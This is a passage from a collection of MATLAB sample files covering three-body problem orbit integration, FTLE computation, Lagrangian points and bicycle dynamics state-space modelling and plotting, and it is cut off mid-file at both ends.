with\n\t\t\t% initial one\n\t\t\tE_T(i,j)=Energy(x_T(i,j),y_T(i,j),vx_T(i,j),vy_T(i,j),mu);\n            delta_E(i,j)=abs(E_T(i,j)-E);\n            if  delta_E(i,j) > energy_tol; % Check of total energy conservation\n                fprintf(' Ouch! Wrong Integration: i,j=(%i,%i)\\n E_T=%.2f \\n delta_E=%f\\n\\n',i,j,E_T(i,j),delta_E(i,j));\n                filtro(i,j)=2; % Saving position of the point\n            end\n            np=np+1;\n        else\n\t\t\tfiltro(i,j)=0; % 1 = interesting point; 0 = non-sense point; 2 = bad integration point\t\t\n\t\tend\n\tend\nend\nclose(h);\nt_integrazione=toc;\n%%\nfiltro_1=filtro;\nfor i=2:n-1\n    for j=2:n-1\n        if filtro(i,j)==2 || filtro (i,j)==3\n            filtro_1(i,j)=2;\n\t\t\tfiltro_1(i+1,j)=2;\n            filtro_1(i-1,j)=2;\n            filtro_1(i,j+1)=2;\n            filtro_1(i,j-1)=2;\n        end\n    end\nend\n\nfprintf('integato con n = %i\\n',n)\nfprintf('integato con energy_tol = %f\\n',energy_tol)\nfprintf('numero punti totali\t\\t%i\\n',n^2)\nfprintf('numero punti integrati\t\\t%i\\n',np)\nfprintf('tempo per integrare\t\\t%.2f s\\n',t_integrazione)\n\n%% FTLE Computation\nfprintf('adesso calcolo ftle\\n')\ntic\ndphi=zeros(2,2);\nftle=zeros(n-2,n-2);\nftle_norm=zeros(n-2,n-2);\n\nds_x=(x_0_max-x_0_min)/(n-1);\nds_vx=(vx_0_max-vx_0_min)/(n-1);\n\nfor i=2:n-1\n\tfor j=2:n-1\n\t\tif filtro_1(i,j) && ... % Check for interesting point\n\t\t\t\tfiltro_1(i,j-1) && ...\n\t\t\t\tfiltro_1(i,j+1) && ...\n\t\t\t\tfiltro_1(i-1,j) && ...\n\t\t\t\tfiltro_1(i+1,j)\n\t\t\t% La direzione dello spostamento la decide il denominatore\n\t\t\t\n\t\t\t% TODO spiegarsi teoricamente come mai la matrice pu�\n\t\t\t% essere ridotta a 2x2\n\t\t\tdphi(1,1)=(x_T(i+1,j)-x_T(i-1,j))/(2*ds_x); %(x_0(i-1,j)-x_0(i+1,j));\n\t\t\t\n\t\t\tdphi(1,2)=(x_T(i,j+1)-x_T(i,j-1))/(2*ds_vx); %(vx_0(i,j-1)-vx_0(i,j+1));\n\t\n\t\t\tdphi(2,1)=(vx_T(i+1,j)-vx_T(i-1,j))/(2*ds_x); %(x_0(i-1,j)-x_0(i+1,j));\n            \n\t\t\tdphi(2,2)=(vx_T(i,j+1)-vx_T(i,j-1))/(2*ds_vx); %(vx_0(i,j-1)-vx_0(i,j+1));\n    \n\t\t\tif filtro_1(i,j)==2 % Manual setting to visualize bad integrated points \n\t\t\t\tftle(i-1,j-1)=0;\n\t\t\telse\n\t\t\t\tftle(i-1,j-1)=(1/abs(T))*log(max(sqrt(abs(eig(dphi*dphi')))));\n                ftle_norm(i-1,j-1)=(1/abs(T))*log(norm(dphi));\n\t\t\tend\n\t\tend\n\tend\nend\n\n%% Plotting results\n% figure\n% plot(t,Y)\n% figure\n% plot(Y(:,1),Y(:,2))\n% figure\n\nxx=linspace(x_0_min,x_0_max,n);\nvvx=linspace(vx_0_min,vx_0_max,n);\n[x,vx]=ndgrid(xx(2:n-1),vvx(2:n-1));\nfigure\npcolor(x,vx,ftle)\nshading flat\n\nt_ftle=toc;\nfprintf('tempo per integrare      \\t%.2f s\\n',t_integrazione)\nfprintf('tempo per calcolare ftle \\t%.2f s\\n',t_ftle)\n\n% ora=fstringf %TODO\n% save(['var_' num2str(n) '_' num2str(clock(4)])\n\nnome=['var_xvx_', 'ode00', '_n',num2str(n)];\nsave(nome)"
  },
  {
    "path": "samples/MATLAB/Integrate1.m",
    "content": "function [ x_T, y_T, vx_T, e_T, filter ] = Integrate_FILE( x_0, y_0, vx_0, e_0, T, N, mu, options)\r\n%Integrate\r\n%   This function performs Runge-Kutta-Fehlberg integration for given\r\n%   initial conditions to compute FILE\r\nnx=length(x_0);\r\nny=length(y_0);\r\nnvx=length(vx_0);\r\nne=length(e_0);\r\nvy_0=zeros(nx,ny,nvx,ne);\r\nx_T=zeros(nx,ny,nvx,ne);\r\ny_T=zeros(nx,ny,nvx,ne);\r\nvx_T=zeros(nx,ny,nvx,ne);\r\nvy_T=zeros(nx,ny,nvx,ne);\r\ne_T=zeros(nx,ny,nvx,ne);\r\n%% Look for phisically meaningful points\r\nfilter=zeros(nx,ny,nvx,ne);  %0=meaningless point 1=meaningful point\r\n\r\n%% Integrate only meaningful points\r\nh=waitbar(0,'','Name','Integration in progress, please wait!');\r\nfor i=1:nx\r\n\twaitbar(i/nx,h,sprintf('Computing i=%i',i));\r\n\tfor j=1:ny\r\n\t\tparfor k=1:nvx\r\n\t\t\tfor l=1:ne\r\n\t\t\t\tvy_0(i,j,k,l)=sqrt(2*Potential(x_0(i),y_0(j),mu)+2*e_0(l)-vx_0(k)^2);\r\n\t\t\t\tif isreal(vy_0(i,j,k,l))\r\n\t\t\t\t\tfilter(i,j,k,l)=1;\r\n\t\t\t\t\tci=[x_0(i), y_0(j), vx_0(k), vy_0(i,j,k,l)];\r\n\t\t\t\t\t[t,Y,te,ye,ie]=ode45(@f,[0 T], ci, options, mu);\r\n\t\t\t\t\tx_T(i,j,k,l)=ye(N+1,1);\r\n\t\t\t\t\ty_T(i,j,k,l)=ye(N+1,2);\r\n\t\t\t\t\tvx_T(i,j,k,l)=ye(N+1,3);\r\n\t\t\t\t\tvy_T(i,j,k,l)=ye(N+1,4);\r\n\t\t\t\t\te_T(i,j,k,l)=0.5*(vx_T(i,j,k,l)^2+vy_T(i,j,k,l)^2)-Potential(x_T(i,j,k,l),y_T(i,j,k,l),mu);\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\nend\r\nclose(h);\r\n"
  },
  {
    "path": "samples/MATLAB/Integrate2.m",
    "content": "function [ x_T, y_T, vx_T, e_T, filter, delta_e ] = Integrate_FTLE_Gawlick_ell( x_0, y_0, vx_0, e_0, T, mu, ecc, nu, options)\r\n%Integrate\r\n%   This function performs Runge-Kutta-Fehlberg integration for given\r\n%   initial conditions to compute FTLE to obtain the image in the Gawlick's\r\n%   article \"Lagrangian Coherent Structures in the Elliptic Restricted\r\n%   Three-Body Problem\".\r\nnx=length(x_0);\r\nny=length(y_0);\r\nnvx=length(vx_0);\r\nne=length(e_0);\r\nvy_0=zeros(nx,ny,nvx,ne);\r\nx_T=zeros(nx,ny,nvx,ne);\r\ny_T=zeros(nx,ny,nvx,ne);\r\nvx_T=zeros(nx,ny,nvx,ne);\r\nvy_T=zeros(nx,ny,nvx,ne);\r\ne_T=zeros(nx,ny,nvx,ne);\r\ndelta_e=zeros(nx,ny,nvx,ne);\r\n%% Look for phisically meaningful points\r\nfilter=zeros(nx,ny,nvx,ne);  %0=meaningless point 1=meaningful point\r\nuseful=ones(nx,ny,nvx,ne);\r\n%% Integrate only useful points\r\nuseful(:,1,:,1)=0;\r\nuseful(:,1,:,3)=0;\r\nuseful(:,3,:,1)=0;\r\nuseful(:,3,:,3)=0;\r\n\r\n%% Integrate only meaningful points\r\nh=waitbar(0,'','Name','Integration in progress, please wait!');\r\nfor i=1:nx\r\n\twaitbar(i/nx,h,sprintf('Computing i=%i',i));\r\n\tfor j=1:ny\r\n\t\tparfor k=1:nvx\r\n\t\t\tfor l=1:ne\r\n\t\t\t\tif useful(i,j,k,l)\r\n\t\t\t\t\tvy_0(i,j,k,l)=-sqrt(2*(Omega(x_0(i),y_0(j),mu)/(1+ecc*cos(nu)))+2*e_0(l)-vx_0(k)^2);\r\n\t\t\t\t\tif isreal(vy_0(i,j,k,l))\r\n\t\t\t\t\t\tfilter(i,j,k,l)=1;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tci=[x_0(i), y_0(j), vx_0(k), vy_0(i,j,k,l)];\r\n\t\t\t\t\t\t[t,Y]=ode45(@f_ell,[0 T], ci, options, mu, ecc);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tif abs(t(end)) < abs(T) % Consider also negative time\r\n\t\t\t\t\t\t\tfilter(i,j,k,l)=3\r\n\t\t\t\t\t\tend\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tx_T(i,j,k,l)=Y(end,1);\r\n\t\t\t\t\t\ty_T(i,j,k,l)=Y(end,2);\r\n\t\t\t\t\t\tvx_T(i,j,k,l)=Y(end,3);\r\n\t\t\t\t\t\tvy_T(i,j,k,l)=Y(end,4);\r\n\t\t\t\t\t\te_T(i,j,k,l)=0.5*(vx_T(i,j,k,l)^2+vy_T(i,j,k,l)^2)-Omega(x_T(i,j,k,l),y_T(i,j,k,l),mu);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t% Compute the goodness of the integration\r\n\t\t\t\t\t\tdelta_e(i,j,k,l)=abs(e_T(i,j,k,l)-e_0(l));\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\nend\r\nclose(h);"
  },
  {
    "path": "samples/MATLAB/Lagr.m",
    "content": "function [xl1,yl1,xl2,yl2,xl3,yl3,xl4,yl4,xl5,yl5] = Lagr(mu)\r\n% [xl1,yl1,xl2,yl2,xl3,yl3,xl4,yl4,xl5,yl5] = Lagr(mu)\r\n% Lagr This function computes the coordinates of the Lagrangian points,\r\n% given the mass parameter\r\nyl1=0;\r\nyl2=0;\r\nyl3=0;\r\nyl4=sqrt(3)/2;\r\nyl5=-sqrt(3)/2;\r\nc1=roots([1 mu-3 3-2*mu -mu 2*mu -mu]);\r\nc2=roots([1 3-mu 3-2*mu -mu -2*mu -mu]);\r\nc3=roots([1 2+mu 1+2*mu mu-1 2*mu-2 mu-1]);\r\nxl1=0;\r\nxl2=0;\r\nfor i=1:5\r\n    if isreal(c1(i))\r\n        xl1=1-mu-c1(i);\r\n    end\r\n    if isreal(c2(i))\r\n        xl2=1-mu+c2(i);\r\n    end\r\n    if isreal(c3(i))\r\n        xl3=-mu-c3(i);\r\n    end\r\nend\r\nxl4=0.5-mu;\r\nxl5=xl4;\r\nend"
  },
  {
    "path": "samples/MATLAB/Lagrangian_points.m",
    "content": "% Plot dei Lagrangian points\r\nn=5;\r\nmu=linspace(0,0.5,n);\r\nfor i=1:n\r\n    [xl1,yl1,xl2,yl2,xl3,yl3,xl4,yl4,xl5,yl5] = Lagr(mu(i));\r\n    figure (1)\r\n    hold all\r\n    plot(xl1, yl1, 's')\r\n    plot(xl2, yl2, 's')\r\n    plot(xl3, yl3, 's')\r\n    plot(xl4, yl4, 's')\r\n    plot(xl5, yl5, 's')\r\n    plot(-mu,0,'o')\r\n    plot(1-mu,0, 'o')\r\n    plot([-mu(i) xl4],[0 yl4])\r\nend"
  },
  {
    "path": "samples/MATLAB/Poincare.m",
    "content": "clear\r\n%% Initial Conditions\r\nmu=0.012277471;\r\nT=10;\r\nN=5;\r\nC=3.17;\r\nx_0=0.30910452642073;\r\ny_0=0.07738174525518;\r\nvx_0=-0.72560796964234;\r\nvy_0=sqrt(-C-vx_0^2+2*Potential(x_0,y_0,mu));\r\nk=0;\r\n%% Integration\r\noptions=odeset('AbsTol',1e-22,'RelTol',1e-13,'Events',@cross_y);\r\n[t,y,te,ye,ie]=ode113(@f,[0 T],[x_0; y_0; vx_0; vy_0],options,mu);\r\n\r\nfigure\r\n%plot(ye(:,1),ye(:,3),'rs')\r\nplot(ye(:,1),0,'rs')"
  },
  {
    "path": "samples/MATLAB/RK4.m",
    "content": "function x = RK4( fun, tspan, ci, mu )\r\n%RK4 4th-order Runge Kutta integrator\r\n%   Detailed explanation goes here\r\nh=1e-5;\r\nt=tspan(1);\r\nT=tspan(length(tspan));\r\ndim=length(ci);\r\n%x=zeros(l,dim);\r\nx(:,1)=ci;\r\ni=1;\r\nwhile t<T\r\n\tk1=fun(t,x(:,i),mu);\r\n\tk2=fun(t+h/2,x(:,i)+k1*h/2,mu);\r\n\tk3=fun(t+h/2,x(:,i)+k2*h/2,mu);\r\n\tk4=fun(t+h,x(:,i)+h*k3,mu);\r\n\tx(:,i+1)=x(:,i)+(h/6*(k1+2*k2+2*k3+k4));\r\n\tt=t+h;\r\n\ti=i+1;\r\nend\r\nx=x';\r\n% \tfunction events(x)\r\n% \tdist=\r\n% \treturn \r\nend\r\n"
  },
  {
    "path": "samples/MATLAB/Traj.m",
    "content": "clear all\r\n%mu=0.012151; %Earth-Moon\r\nmu=0.012277471 %Earth-Moon\r\n[xl1,yl1,xl2,yl2,xl3,yl3,xl4,yl4,xl5,yl5] = Lagr(mu);\r\nC=3.17;\r\n%C=2*Potential(xl1,yl1,mu);\r\nx_0=1;\r\ny_0=0;\r\nvx_0=0;\r\nvy_0=sqrt(-C-vx_0^2+2*Potential(x_0,y_0,mu));\r\n%vy_0=0;\r\nT=2;\r\nC_star=2*Potential(x_0,y_0,mu)-(vx_0^2+vy_0^2)\r\n%C=-(vx_0^2+vy_0^2)+2*Omega(x_0,y_0,mu);\r\nE=-C/2;\r\n\r\noptions=odeset('AbsTol',1e-22,'RelTol',1e-13); \r\n\r\n%Integrate first orbit\r\n[t0,Y0]=ode113(@f,[0 T],[x_0; y_0; vx_0; vy_0],options,mu);\r\nx0=Y0(:,1);\r\ny0=Y0(:,2);\r\nvx0=Y0(:,3);\r\nvy0=Y0(:,4);\r\nl0=length(Y0);\r\n\r\n% Precisionfirst orbit\r\ndelta_E0=abs(Energy(x0,y0,vx0,vy0,mu)-E);\r\n\r\n% figure\r\n% plot(delta_E0)\r\n\r\n%Hill's region\r\npoints=500;\r\nbb=3; % Bounding box\r\nx=linspace(-bb,bb,points);\r\ny=linspace(-bb,bb,points);\r\n[x,y]=meshgrid(x,y);\r\nz=(Potential(x,y,mu));\r\n% figure\r\n% surfc(x,y,z,'Edgecolor','none')\r\n\r\n%Plot orbit\r\n%figure\r\nhold on\r\ncontour(x,y,z,[C/2,C/2])\r\nplot(x0,y0)\r\ntext(-2,-2,sprintf('C=%.2f',C))\r\n%plotto actractors\r\nplot(-mu,0,'ok')\r\nplot(1-mu,0,'ok')\r\n% Plot points\r\nplot(x0(1),y0(1),'sg')\r\nplot(x0(l0),y0(l0),'sr')"
  },
  {
    "path": "samples/MATLAB/adapting_structural_model.m",
    "content": "function [dx, y] = adapting_structural_model(t, x, u, varargin)\n%\n% Returns the time derivatives of the states and the output of the\n% structural control model with an adapting controller.\n%\n% Parameters\n% ----------\n% t : double\n%   The current time.\n% x : double, size(8, 1)\n%   The current state.\n% u : double, size(1, 1)\n%   The current input.\n% varargin : cell array\n%   m1, m2, m3, m4, b1, b2, b3, b4 : double\n%       The slope of the four gains and the offset of the four gains.\n%   aux : cell array containing a single structure\n%       The structure contains:\n%       pars : double, size(1,9)\n%           The controller parameters.\n%       timeDelay : logical\n%           If true a 1st order Pade approximation of the human's time delay\n%           is included.\n%       plantFirst : integer\n%           The number of the first plant.\n%       plantSecond : integer\n%           The number of the second plant.\n%       m : double, size(2, 1)\n%           The slope of the transfer function adaption function.\n%       b : double, size(2, 1)\n%           The offset of the transfer function adaption function.\n%\n% Returns\n% -------\n% dx : double, size(8, 1)\n%   The derivatives of the states.\n% y : double, size(1, 1)\n%   The output, theta.\n\n% MATLAB SUCKS! This is unbelievable. On the first iteration varargin is 1x2\n% and after that it is 1x9.\n%size(varargin, 2)\n\n% Unpack varargin.\naux = varargin{end}{1};\nm = zeros(4, 1);\nb = zeros(4, 1);\nfor i=1:4\n    if size(varargin, 2) == 2\n        m(i) = varargin{1}(i);\n        b(i) = varargin{1}(i + 4);\n    elseif size(varargin, 2) == 9\n        m(i) = varargin{i};\n        b(i) = varargin{i + 4};\n    else\n        display('Matlab is stupid.')\n    end\nend\n\n% First compute the gains at this time.\naux.pars(1:4) = m .* t + b;\n% Compute the controller.\nYp = human(aux.pars, aux.timeDelay);\n% Compute the plant and this time.\nc1 = aux.m(1) * t + aux.b(1) + 1e-10;\nc2 = aux.m(2) * t + aux.b(2) + 1e-10;\nYc = parallel(c1 * plant(aux.plantFirst), c2 * plant(aux.plantSecond));\n% Compute the closed loop system.\nYs = feedback(Yp * Yc, 1);\n% Convert to state space.\n[A, B, C, D] = tf2ss(Ys.num{1}, Ys.den{1});\n% Compute the derivatives of the states and the outputs.\ndx = A * x + B * u;\ny = C * x + D * u;\n"
  },
  {
    "path": "samples/MATLAB/average.m",
    "content": "function y = average(x)\n% AVERAGE Mean of vector elements.\n% AVERAGE(X), where X is a vector, is the mean of vector\n% elements. Nonvector input results in an error.\n[m,n] = size(x);\nif (~((m == 1) | (n == 1)) | (m == 1 & n == 1))\n    error('Input must be a vector')\nend\ny = sum(x)/length(x);\n"
  },
  {
    "path": "samples/MATLAB/bicycle_state_space.m",
    "content": "function bicycle = bicycle_state_space(bicycle, speed, varargin)\n% function bicycle = bicycle_state_space(bicycle, speed, varargin)\n%\n% Returns the state space system of the Whipple model linearized about the\n% nominal configuration and the supplied speed.\n%\n% Parameters\n% ----------\n% bicycle : char\n%   The name of a bicycle in the parameters directory.\n% speed : double\n%   The forward speed at which to linearize the model about.\n% varargin : char/cell array pairs, optional\n%   Specify a subset of states, inputs or outputs by setting one of the\n%   following: `states`, `inputs`, `outputs` as a cell array of\n%   chars which include the subset variable names. Beaware that not all\n%   state, input and output combinations are necessarily possible.\n%   Valid state names: 'xP', 'yP', 'psi', 'phi', 'thetaB', 'thetaR', 'delta',\n%       'thetaF', 'phiDot', 'thetaRDot', 'deltaDot'\n%   Valid input names: 'tPhi', 'tDelta', 'fB'\n%   Valid output names: 'xP', 'yP', 'psi', 'phi', 'thetaB', 'thetaR', 'delta',\n%       'thetaF', 'xPDot', 'yPDot', 'psiDot', 'phiDot', 'thetaBDot',\n%       'thetaRDot', 'deltaDot', 'thetaFDot', 'xQ', 'yQ'\n%\n% Returns\n% -------\n% bicycle : ss\n%   The state space model of the bicycle.\n%\n% Notes\n% -----\n% The variable names are defined as in Meijaard2007.\n%\n% Examples\n% --------\n% bicycle = bicycle_state_space('Benchmark', 5.0, ...\n%   'states', {'phi', 'phiDot', 'delta', 'deltaDot'}, ...\n%   'inputs', {'tDelta'}, ...\n%   'outputs', {'delta', 'phi'})\n\n% get the directory which this m-file is in\nS = dbstack('-completenames');\n[CURRENT_DIRECTORY, ~, ~] = fileparts(S(1).file);\n\n% load the paramaters\npar = par_text_to_struct([CURRENT_DIRECTORY filesep 'parameters' ...\n    filesep bicycle 'Par.txt']);\n\n% generate the state space matrices\n[A, B, C, D] = whipple_pull_force_abcd(par, speed);\n\n% name the states, outputs and inputs\nstates = {'xP',\n          'yP',\n          'psi',\n          'phi',\n          'thetaB',\n          'thetaR',\n          'delta',\n          'thetaF',\n          'phiDot',\n          'thetaRDot',\n          'deltaDot'};\n\noutputs = {'xP',\n           'yP',\n           'psi',\n           'phi',\n           'thetaB',\n           'thetaR',\n           'delta',\n           'thetaF',\n           'xPDot',\n           'yPDot',\n           'psiDot',\n           'phiDot',\n           'thetaBDot',\n           'thetaRDot',\n           'deltaDot',\n           'thetaFDot',\n           'xQ',\n           'yQ'};\n\ninputs = {'tPhi',\n          'tDelta',\n          'fB'};\n\ndefaultSettings.states = states;\ndefaultSettings.inputs = inputs;\ndefaultSettings.outputs = outputs;\n% load in user supplied settings\nif size(varargin, 2) >= 1\n    userSettings = varargin_to_structure(varargin);\nelse\n    userSettings = struct();\nend\n% combine the defaults with the user settings\nsettings = overwrite_settings(defaultSettings, userSettings);\n\n% Will the system have the bare minimum states?\nminStates = {'phi', 'delta', 'phiDot', 'deltaDot'};\nif sum(ismember(settings.states, minStates)) < 4\n    error(['You have not specified the minimum set of states. Please ' ...\n        'include at least phi, delta, phiDot, and deltaDot'])\nend\n\n% Have state derivatives been specified that can't be computed with the\n% specified states?\nkeepStates = find(ismember(states, settings.states));\nremoveStates = find(~ismember(states, settings.states));\nfor row = keepStates'\n    for col = removeStates'\n        if abs(A(row, col)) > 1e-10\n            s = sprintf(['It is not possible to compute the derivative ' ...\n                'of state %s because it depends on state %s'], ...\n                states{row}, states{col});\n            error(s)\n        end\n    end\nend\n\nremoveInputs = find(~ismember(inputs, settings.inputs));\n\n% Have outputs been specified that can't be computed with the specified\n% states and inputs?\nkeepOutputs = find(ismember(outputs, settings.outputs));\nfor row = keepOutputs'\n    for col = removeStates'\n        if abs(C(row, col)) > 1e-10\n            s = sprintf(['It is not possible to keep output %s because ' ...\n                'it depends on state %s'], outputs{row}, ...\n                states{col});\n            error(s)\n        end\n    end\n    for col = removeInputs'\n        if abs(D(row, col)) > 1e-10\n            s = sprintf(['It is not possible to keep output %s because ' ...\n                'it depends on input %s'], outputs{row}, ...\n                inputs{col});\n            error(s)\n        end\n    end\nend\n\nremoveOutputs = find(~ismember(outputs, settings.outputs));\n\nA(removeStates, :) = [];\nA(:, removeStates) = [];\n\nB(removeStates, :) = [];\nB(:, removeInputs) = [];\n\nC(removeOutputs, :) = [];\nC(:, removeStates) = [];\n\nD(removeOutputs, :) = [];\nD(:, removeInputs) = [];\n\nstates(removeStates) = [];\ninputs(removeInputs) = [];\noutputs(removeOutputs) = [];\n\n% build the ss structure\nbicycle = ss(A, B, C, D, ...\n             'StateName', states, ...\n             'OutputName', outputs, ...\n             'InputName', inputs);\n"
  },
  {
    "path": "samples/MATLAB/convert_variable.m",
    "content": "function [name, order] = convert_variable(variable, output)\n% Returns the name and order of the given variable in the output type.\n%\n% Parameters\n% ----------\n% variable : string\n%   A variable name.\n% output : string.\n%   Either `moore`, `meijaard`, `data`.\n%\n% Returns\n% -------\n% name : string\n%   The variable name in the given output type.\n% order : double\n%   The order of the variable in the list.\n\n[coordinates, speeds, inputs] = get_variables();\n\ncolumns = {'data', 'meijaard', 'moore'};\n\nif find(ismember(coordinates, variable))\n\n    [order, ~] = find(ismember(coordinates, variable));\n    name = coordinates{order, find(ismember(columns, output))};\n\nelseif find(ismember(speeds, variable))\n\n    [order, ~] = find(ismember(speeds, variable));\n    name = speeds{order, find(ismember(columns, output))};\n\nelseif find(ismember(inputs, variable))\n\n    [order, ~] = find(ismember(inputs, variable));\n    name = inputs{order, find(ismember(columns, output))};\n\nelse\n    error('Beep: Done typed yo variable name wrong')\nend\n\nfunction [coordinates, speeds, inputs] = get_variables()\n\ncoordinates = {'LongitudinalRearContact', 'xP', 'q1';\n               'LateralRearContact', 'yP','q2';\n               'YawAngle', 'psi','q3';\n               'RollAngle', 'phi','q4';\n               'PitchAngle', 'thetaB','q5';\n               'RearWheelAngle', 'thetaR','q6';\n               'SteerAngle', 'delta','q7';\n               'FrontWheelAngle', 'thetaF','q8';\n               'LongitudinalFrontContact', 'xQ','q9';\n               'LateralFrontContact', 'yQ', 'q10'};\n\nspeeds = {'LongitudinalRearContactRate', 'xPDot', 'u1';\n          'LateralRearContactRate', 'yPDot', 'u2';\n          'YawRate', 'psiDot', 'u3';\n          'RollRate', 'phiDot', 'u4';\n          'PitchRate', 'thetaDot', 'u5';\n          'RearWheelRate', 'thetaRDot', 'u6';\n          'SteerRate', 'deltaDot', 'u7';\n          'FrontWheelRate', 'thetaFDot','u8';\n          'LongitudinalFrontContactRate', 'xQDot', 'u9';\n          'LateralFrontContactRate', 'yQDot', 'u10'};\n\ninputs = {'RollTorque', 'tPhi', 'T4';\n          'RearWheelTorque', 'tThetaR', 'T6';\n          'SteerTorque', 'tDelta', 'T7';\n          'PullForce', 'fB', 'F'};\n"
  },
  {
    "path": "samples/MATLAB/create_ieee_paper_plots.m",
    "content": "function create_ieee_paper_plots(data, rollData)\n% Creates all of the figures for the IEEE paper.\n%\n% Parameters\n% ----------\n% data : structure\n%   A structure contating the data from generate_data.m for all of the bicycles\n%   and speeds for the IEEE paper.\n% rollData : structure\n%   The data for a single bicycle at a single speed with roll torque as the\n%   input.\n\nglobal goldenRatio\n% used for figure width to height ratio\ngoldenRatio = (1 + sqrt(5)) / 2;\n\n% create a plot directory if one doesn't already exist\nif exist('plots/', 'dir') ~= 7\n    mkdir('plots/')\nend\n\n% Define some linestyles and colors for each of the six bicycles\nlinestyles = {'-', '-', '-.', ...\n              '--', '-.', '--'};\ncolors = {'k', ...\n          [0.5, 0.5, 0.5], ...\n          [0.5, 0.5, 0.5], ...\n          'k', ...\n          'k', ...\n          [0.5, 0.5, 0.5]};\n\nloop_shape_example(data.Benchmark.Medium, 'Steer')\nloop_shape_example(rollData, 'Roll')\nplot_io_roll(rollData, 'Distance')\nplot_io_roll(rollData, 'Time')\nopen_loop_all_bikes(data, linestyles, colors)\nhandling_all_bikes(data, rollData, linestyles, colors)\npath_plots(data, linestyles, colors)\nvar = {'delta', 'phi', 'psi', 'Tdelta'};\nio = {'output', 'output', 'output', 'input'};\ntyp = {'Distance', 'Time'};\nfor i = 1:length(var)\n    for j = 1:length(typ)\n        plot_io(var{i}, io{i}, typ{j}, data, linestyles, colors)\n    end\nend\nphase_portraits(data.Benchmark.Medium)\neigenvalues(data, linestyles, colors)\n\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\nfunction loop_shape_example(bikeData, input)\n% Creates the example loop shaping for the bicycle at medium speed.\n%\n% Parameters\n% ----------\n% bikeData : structure\n%   Contains data for a single bicycle at a single speed.\n% input : string\n%   'Steer' or 'Roll' depending on what input was used to control the bicycle.\n\nglobal goldenRatio\n\n% closed loop bode plots\nfigure()\nfigWidth = 5.0;\nfigHeight = figWidth / goldenRatio;\nset(gcf, ...\n    'Color', [1, 1, 1], ...\n    'PaperOrientation', 'portrait', ...\n    'PaperUnits', 'inches', ...\n    'PaperPositionMode', 'manual', ...\n    'OuterPosition', [424, 305 - 50, 518, 465], ...\n    'PaperPosition', [0, 0, figWidth, figHeight], ...\n    'PaperSize', [figWidth, figHeight])\n\nfreq = {0.1, 20.0};\n\nhold all\n\nclosedLoops = bikeData.closedLoops;\n\n% make sure all bode plots display 'rad/s' instead of 'rad/sec'\nbops = bodeoptions;\nbops.FreqUnits = 'rad/s';\n\nif strcmp(input, 'Steer')\n    linestyles = {'', '', '-.', '-.', '-', '-.', '-.', '-'};\n    gray = [0.6, 0.6, 0.6];\n    colors = {'k', 'k', 'k', gray, 'k', 'k', gray, 'k'};\n    % the closed delta loop\n    deltaNum = closedLoops.Delta.num;\n    deltaDen = closedLoops.Delta.den;\n    bodeplot(tf(deltaNum, deltaDen), freq, bops);\n    % a typical neuromuscular model\n    neuroNum = 2722.5;\n    neuroDen = [1, 13.96, 311.85, 2722.5];\n    bodeplot(tf(neuroNum, neuroDen), freq, bops);\n    whichLines = 5:-1:3;\nelseif strcmp(input, 'Roll')\n    linestyles = {'', '', '-', '-'};\n    colors = {'k', 'k', 'k', 'k'};\n    whichLines = 4:-1:2;\nelse\n    error('Bad input, use Steer or Roll')\nend\n\n% the closed phi dot loop\nphiDotNum = closedLoops.PhiDot.num;\nphiDotDen = closedLoops.PhiDot.den;\nclosedBode = bodeplot(tf(phiDotNum, phiDotDen), freq, bops);\n\nhold off\n\n% clean it up\nopts = getoptions(closedBode);\nif strcmp(input, 'Steer')\n    opts.YLim = {[-45, 20], [-360, 90]};\nelse\n    opts.YLim = {[-30, 10], [-180, 90]};\nend\nopts.PhaseMatching = 'on';\nopts.PhaseMatchingValue = 0;\nopts.Title.String = '';\nsetoptions(closedBode, opts)\n\n% find all the lines in the current figure\nlines = findobj(gcf, 'type', 'line');\nfor i = 3:length(lines)\n    set(lines(i), 'LineStyle', linestyles{i}, ...\n                  'Color', colors{i}, ...\n                  'LineWidth', 2.0)\nend\n\n% there seems to be a bug such that the xlabel is too low, this is a hack to\n% get it to work\nraise = 0.05;\nplotAxes = findobj(gcf, 'type', 'axes');\nset(plotAxes, 'XColor', 'k', 'YColor', 'k')\ncurPos1 = get(plotAxes(1), 'Position');\ncurPos2 = get(plotAxes(2), 'Position');\nset(plotAxes(1), 'Position', curPos1 + [0, raise, 0, 0])\nset(plotAxes(2), 'Position', curPos2 + [0, raise, 0, 0])\nxLab = get(plotAxes(1), 'Xlabel');\nset(xLab, 'Units', 'normalized')\nset(xLab, 'Position', get(xLab, 'Position') + [0, raise + 0.05, 0])\n\n% make the tick labels smaller\nset(plotAxes, 'Fontsize', 8)\nif strcmp(input, 'Steer')\n    legWords = {'$\\delta$ Loop',\n                'Neuromuscular model from [27]',\n                '$\\dot{\\phi}$ Loop'};\nelseif strcmp(input, 'Roll')\n    legWords = {'$\\dot{\\phi}$ Loop'};\nend\ncloseLeg = legend(lines(whichLines), ...\n                  legWords, ...\n                  'Location', 'Southwest', ...\n                  'Interpreter', 'Latex', ...\n                  'Fontsize', 8);\n\n% add the annotation showing a 10 dB peak\nif strcmp(input, 'Steer')\n    axes(plotAxes(2))\n    db1 = text(2.7, 5.0, '~10dB');\n    db2 = text(2.5, -10.0, '~10dB');\n    set([db1, db2], 'Fontsize', 8)\n    dArrow1 = annotation('doublearrow', ...\n                         [0.7, 0.7], ...\n                         [0.755 + raise, 0.818 + raise]);\n    annotation('line', [0.69, 0.87], [0.818 + raise, 0.818 + raise])\n    dArrow2 = annotation('doublearrow', ...\n                         [0.685, 0.685], ...\n                         [0.665 + raise, 0.725 + raise]);\n    annotation('line', [0.675, 0.87], [0.725 + raise, 0.725 + raise])\n    set([dArrow1, dArrow2], 'Head1width', 3, 'Head1length', 3, ...\n        'Head2width', 3, 'Head2length', 3)\nelse\n    axes(plotAxes(2))\n    db1 = text(0.67, -3.7, '~10dB');\n    set(db1, 'Fontsize', 8)\n    dArrow = annotation('doublearrow', ...\n                        [0.5, 0.5], ...\n                        [0.697 + raise, 0.795 + raise]);\n    set(dArrow, 'Head1width', 3, 'Head1length', 3, 